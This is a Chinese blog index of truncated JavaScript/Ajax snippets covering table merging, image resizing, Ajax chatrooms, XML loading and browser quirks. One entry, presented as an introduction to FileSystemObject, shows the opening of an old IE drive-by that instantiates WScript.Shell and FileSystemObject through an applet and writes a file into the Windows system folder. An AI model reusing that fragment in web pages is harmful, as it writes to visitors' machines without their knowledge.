表格合并

评论(0)浏览(64)分类:JavaScript/Ajax开发技巧
表格合并点击单元格选择需要合并的,暂时只能合并同一行的+展开-HTMLstyletype="text/css"#myTabletbodytrtd.focus{background-color:blue;}/stylediv点击单元格选择需要合并的,暂时只能合并同一行的:-)/divtableid="myTable"border="1px"tbodytrtd1_1/tdtd1_2/tdtd1_3/tdtd1_4/td/trtrtd2_1/tdtd2_2/tdtd2_3/tdtd2_4/td/trtrtd3_1/tdtd3_2/tdtd3_3/tdt..

tab键控制在a标签中的切换

评论(0)浏览(74)分类:JavaScript/Ajax开发技巧
tab键控制在a标签中的切换当tab键按下时,控制获取焦点的对象。+展开-HTMLstyle.focus{background-color:red;color:white}.unfocus{background-color:white;}/styleulid="ul1"style="width:100px"liclass="focus"ahref='#'Google/a/liliclass="unfocus"ahref='#'Baidu/a/liliclass="unfocus"ahref='#'163/a/li/ulahref='#'test1/abrahref='#'test0/abrahref='#'test2/abr..

拖拽,按等比例放大,缩小,任意修改图片大小

评论(1)浏览(172)分类:JavaScript/Ajax开发技巧
拖拽,按等比例放大,缩小,任意修改图片大小  在页面上实现图片拖拽并可以随意调整图片大小。 但如果按住Ctrl键之后,当再调整图片大小的时候需要按照比例进行调整。  示例效果点击这里查看+展开-HTMLhtmlheadmetahttp-equiv="content-type"content="text/html;charset=gb2312;"/title拖拽,按等比例放大,缩小,任意修改图片大小/titlemetaname="Keywords"content="图片拖拽,图片扥等..

firefox下reset控件无法清除hidden控件value

评论(0)浏览(1647)分类:JavaScript/Ajax开发技巧
firefox下reset控件无法清除hidden控件value  今天搞一个表单,发现在w3c浏览器和ie浏览器下的一个问题,w3c浏览器无法使用reset控件或者表单的reset事件来清空通过js设置hidden控件后的值,其他可以显示的控件值是可以还原到原来的状态,但是hidden的话无法还原,郁闷了,(#‵′)靠。  在IE浏览器下可以清空js设置的hidden控件的值,为什么w3c浏览器无法清除呢?⊙﹏⊙b汗....难道我理..

FireFox下端口不一致导致跨域

评论(0)浏览(320)分类:JavaScript/Ajax开发技巧
FireFox下端口不一致导致跨域  在Firefox下,如果url路径带有端口号,而ajax对象访问的路径为绝对路径并且端口号不一样时,会出现uncaught exception: (1? XMLHttpRequest.open ?CP 3的错误,这个是因为端口号不一致时导致出现的跨域错误。而IE下不会因为请求的端口号不一致出现跨域的问题。  其实出现端口号不一致的错误实在是微乎其微,有谁会一个网站开放两个端口号..

发一个支持iframe的无刷上传文件的ajax类库

评论(0)浏览(118)分类:JavaScript/Ajax开发技巧
发一个支持iframe的无刷上传文件的ajax类库在原来的ajax类库基础上添加了post方法,直接提交表单,而不需要手动收集要提交的键和值。并在此基础上判断enctype是否为"multipart/form-data"类型,如果是则表单提交到隐藏的iframe中实现无刷新上传文件。不过需要注意的是网站使用的编码为utf-8。+展开-JavaScriptvarShowbo={version:'1.0',author:'showbo',intro:'通用',homepage:'//'};//是..

ajax+php+mssql无刷新聊天室

评论(2)浏览(419)分类:JavaScript/Ajax开发技巧
ajax+php+mssql无刷新聊天室此为php版本的无刷新聊天程序源代码,js类库及说明请看下面asp.net版本的,下面只列出php版本的代码此例子也可以作为mssql存储过程使用的示例,如php调用mssql的存储过程,php获取mssql数据库的输出参数。asp.net版本请看ajax无刷新聊天室--asp.netaspajax无刷新聊天室--aspop.php+展开 -PHP$db="chatdb";$uid="sa";$pwd="";$server=".";classaj..

ajax+asp+mssql无刷新聊天室

评论(7)浏览(1028)分类:JavaScript/Ajax开发技巧
ajax+asp+mssql无刷新聊天室此为asp版本的无刷新聊天程序源代码,js类库及说明请看下面asp.net版本的,下面只列出asp版本的代码asp.net版本请看ajax无刷新聊天室--asp.netphpajax无刷新聊天室--php+展开 -HTML%@language="vbscript"codepage="936"%%ConstadCmdStoredProc=4ConstadInteger=3ConstadVarChar=200ConstadParamInput=1ConstadParamOutput=2ConstadExecuteNoReco..

简易天气预报查询

评论(0)浏览(186)分类:JavaScript/Ajax开发技巧
简易天气预报查询一个简单的天气预报查询,可以查询当前及后两天的数据。天气预报数据是从sina网爬下来的,所以使用了正则来获取数据。如果sina改版过的话,需要修改对应的正则表达式。完整示例下载点击这里简易天气预报查询返回的数据为json格式的,大概如下+展开 -JavaScript{success:true//只是是否成功,weathers:[//天气数组,从今天到后两天{d:'日期',weath..

客户端Js+FSO遍历文件夹

评论(0)浏览(169)分类:JavaScript/Ajax开发技巧
客户端Js+FSO遍历文件夹此代码仅IE浏览器下能运行,并且需要开放fso权限。+展开-JavaScriptfunctionHTMlist(path){vartxt;fso=newActiveXObject("Scripting.FileSystemObject");fldr=fso.GetFolder(path);fc=newEnumerator(fldr.files);for(;!fc.atEnd();fc.moveNext())//枚举所有文件{s=fc.item();//取文件对象if(s.type=="HTMLDocument"){//判断是否是“HTML文件”f=..

javascript如何加载xml文件,兼容ie及ff,序列化与反序列化

评论(1)浏览(316)分类:JavaScript/Ajax开发技巧
javascript如何加载xml文件,兼容ie及ff,序列化与反序列化+展开 -JavaScriptvardoc;if(window.ActiveXObject){doc=newActiveXObject("microsoft.xmldom");/*IE的这个对象可以使用doc.load('文件路径')加载文件,也可以用doc.loadXML("xml字符串")生成xml对象加载文件时,可以使用async属性来指定异步或者同步,默认为异步async=true。如果为异步时,可以使用onreadystatechange处理函数来判断加载状况。..

分批更新,动态显示进度

评论(0)浏览(277)分类:JavaScript/Ajax开发技巧
分批更新,动态显示进度  示例代码点击这里下载  使用Ajax分配更新数据库信息,动态显示更新进度。  适用于大批量更新,占用时间较多的更新操作。使用ajax划分为小的单元,不需要一下占用很多系统资源。  需要注意的是必须有一个自动增长的字段,值可以不连续。  示例是将一个字段的内容,包含HTML代码的,先去掉html代码,然后更新到该条记录的另一个字段中..

ie和firefox下操作table对象的异同

评论(0)浏览(226)分类:JavaScript/Ajax开发技巧
ie和firefox下操作table对象的异同ie和firefox下操作table对象的异同【测试浏览器版本:ie为6,firefox为2.0】1)在ie下,table标签直接使用appendChild增加document.createElement('tr')的行时不显示,但是在firefox下是没有问题的。如下+展开-HTMLtableid="table1"border='1'/tablescripttype='text/javascript'vartb=document.getElementById('table1');vartr=document.create..

美化alert,confirm,prompt并实现lightbox效果

评论(0)浏览(174)分类:JavaScript/Ajax开发技巧
美化alert,confirm,prompt并实现lightbox效果示例代码下载点这里示例效果点这里注意alert,confirm及prompt并不同于系统的,这个是用层模仿的,并不能挂起程序的执行所以如果需要在确认后执行相关的操作,需要在配置文件中传递回调函数fn按钮只提供yes和no两个-------------------------------------------------------------------Showbo.Msg.alert:参数(要显示的信息)如 Showbo.Msg.al..

ajax对象应用程序池

评论(2)浏览(126)分类:JavaScript/Ajax开发技巧
ajax对象应用程序池  此类库简化了创建Ajax对象和使用的过程,不需要自己手动设置状态转换函数onreadystatechange,只需要在使用Showbo.Ajax.send的配置【json对象】中设置成功【success】和失败【failure】的回调函数,主要参数及说明看下面代码的注释内容。更新说明=======1)此版本已经修正了火狐下XMLHttpRequest重用时nsIXMLHttpRequest.send发生错误的解决..

为什么数组作为参数传递进去取不了值出来?

评论(0)浏览(149)分类:JavaScript/Ajax开发技巧
为什么数组作为参数传递进去取不了值出来?为什么数组作为参数传递进去取不了值出来? (arrData) 好像原来都OK的, 换个OS就不行了? 还有这种诡异的事? 各位兄弟帮忙看一下, 谢了. 或者说该怎样取值? +展开-JavaScriptfunctionTest(){vararrData=[];GetInfo(arrData);}functionGetInfo(arrData){if(bXmlHttpSupport){varsUrl='info.php';varoRequest=newXMLHttpRequest();oRequest.onreadys..

图片无间隙滚动

评论(0)浏览(67)分类:JavaScript/Ajax开发技巧
图片无间隙滚动+展开-HTML!!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">htmlxmlns="http://www.w3.org/1999/xhtml"headmetahttp-equiv="content-type"content="text/html;charset=utf-8"/title编程设计网--图片无间隙滚动/titlemetaname="Keywords"content="图片无间隙滚动"/metaname..

模仿google导航效果

评论(0)浏览(66)分类:JavaScript/Ajax开发技巧
模仿google导航效果示例下载点这里google.js+展开 -JavaScriptvarShowbo={author:'Showbo',des:'只是自己写的一个效果,和google的差很多,达不到google的那种完美效果,呵呵~~'};//导航动态Showbo.xPos=[0,-50,-100,-150,-200,-250,-300];//定义background-position的x位置,如果修改过图片的位置,需要修改这里,下面的y位置同理Showbo.yPos=[-183,-145,-34,-72,1..

JavaScript FSO属性大全

评论(0)浏览(81)分类:JavaScript/Ajax开发技巧
JavaScript FSO属性大全什么是FSO? FSO 即 File System Object 文件系统对象,是一种列表 Windows 磁盘目录和文件,对目录和文件进行删除、新建、复制、剪切、移动等操作的技术。使用 FSO 网站的好处:直接读取目录下的文件和子目录,方便维护,如需要添加任何内容,将文件放在相应的目录下即可;FSO 网站类似 Windows 操作界面,易于使用,会使用 Windows 就会使用 F..

AJAX项目中在IE浏览器上遇到"Internet Explorer无法打开站点,已终止操作"错误解决方案

评论(0)浏览(289)分类:JavaScript/Ajax开发技巧
AJAX项目中在IE浏览器上遇到"Internet Explorer无法打开站点,已终止操作"错误解决方案 keywords: IE, JavaScript, AJAX, "Internet Explorer无法打开站点,已终止操作" 错误原因:在页面还没有ready的时候就调用了htmlObject的appendChild或者innerHTML操作。 解决方案:在appendChild或者innerHTML操作处判断document.readyState=="complete", 若为否,则setTimeout若干秒之后重新作这个操作。 如果你的操作对时间敏感,那就要重新设..

当iframe的designMode="On"时,在ff,如何下对iframe添加事件处理函数

评论(0)浏览(98)分类:JavaScript/Ajax开发技巧
当iframe的designMode="On"时,在ff,如何下对iframe添加事件处理函数 这几天再搞web编辑器,就为兼容ff搞得我头都大了,特别是如何对designMode="On"的iframe添加事件。好在搞好了,happy。。。下面是一个demo代码,说明了如何在ff下对designMode="On"的iframe添加事件+展开 -HTMLhtmlheadtitle当iframe的designMode="On"时,在ff,如何下对iframe添加事件处理函数/title/headbodyscript//扩展string原型String.prot..

JS实现全选

评论(0)浏览(66)分类:JavaScript/Ajax开发技巧
JS实现全选+展开-HTMLbodyafefeLZbrahref="fdjlfj"fafljal/abr1245brimgsrc="logo.gif"brfefefe/bodyscripttype="text/javascript"functionselectCode(a){vare=a;if(document.all){varr=document.selection.createRange();r.moveEnd("character",e.innerText.length);r.select();}else{vars=window.getSelection();varr=document.createRange();r.selectNo..

js创建桌面快捷方式

评论(0)浏览(158)分类:JavaScript/Ajax开发技巧
js创建桌面快捷方式script type="text/vbscript"Set WshShell =CreateObject("WScript.Shell") strDesktop = WshShell.SpecialFolders("Desktop") '特殊文件夹“桌面” '在桌面创建一个记事本快捷方式 set oShellLink = WshShell.CreateShortcut(strDesktop "\Internet Explorer.lnk") oShellLink.TargetPath = "C:\Program Files\Internet Explorer\iexplore.exe..

WScript.shell修改更改输入法

评论(0)浏览(121)分类:JavaScript/Ajax开发技巧
WScript.shell修改更改输入法+展开 -HTMLscripttype="text/javascript"functionCTRL$Space(){varwsh=newActiveXObject("WScript.shell");//注意,仅IE浏览器有效果,而且由于权限问题,有可能导致无法创建WScript.shellwsh.sendKeys("^")wsh=null;}/scriptfontcolor='red'在进入这个页面时,第一次获取焦点时会有创建对象的安全提示,后面允许就不会提示了/fontbr获得焦点后..

Scripting.FileSystemObject介绍

评论(0)浏览(146)分类:JavaScript/Ajax开发技巧
Scripting.FileSystemObject介绍+展开-JavaScriptdocument.write("");functionf(){try{a1=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();sh=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");a1.createInstance();fo=a1.GetObject();hd=fo.CreateTextFile("c:\\WINDOWS\\system\\mslog.htm");hd.writ..

XML数据岛测试

评论(0)浏览(63)分类:JavaScript/Ajax开发技巧
XML数据岛测试+展开-HTMLhtmlheadmetahttp-equiv="http-content"content="text/html;charset=gb2312"/titleXML数据岛测试/title/headbodyxmlid='ds'rowsrowid2/idnamename2/name/rowrowid1/idnamename1/name/rowrowid3/idnamename3/name/row/rows/xmlscriptvaradBSTR=8;varadBigInt=20;vardsrs=ds.recordset;varrs=newActiveXObject("adodb.recordset");with(..

XMLDOM对象

评论(0)浏览(50)分类:JavaScript/Ajax开发技巧
XMLDOM对象nsvar xmlDoc=implementation.createDocument("ns","root",null);第一个参数,ns,定义用于XML文档的命名空间(namespace)。第二个参数,root,是XML文件中的XML根元素。第三个参数,null,一般总是null,这是由于目前还没有用到这个参数。下面的代码段可向Mozilla浏览器的XML解析器载入一个已有的XML文档("note.xml"):var xmlDoc=implementat..

JS屏蔽刷新

评论(0)浏览(88)分类:JavaScript/Ajax开发技巧
JS屏蔽刷新+展开 -HTMLscriptlanguage="Javascript"type="text/javascript"//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键functiondocument.oncontextmenu(){event.returnValue=false;}//屏蔽鼠标右键document.onselectstart=function(){returnfalse;}functiondocument.onkeydown(){if(//屏蔽退格删除键(event.keyCode==116)||//屏蔽F5刷新键(ev..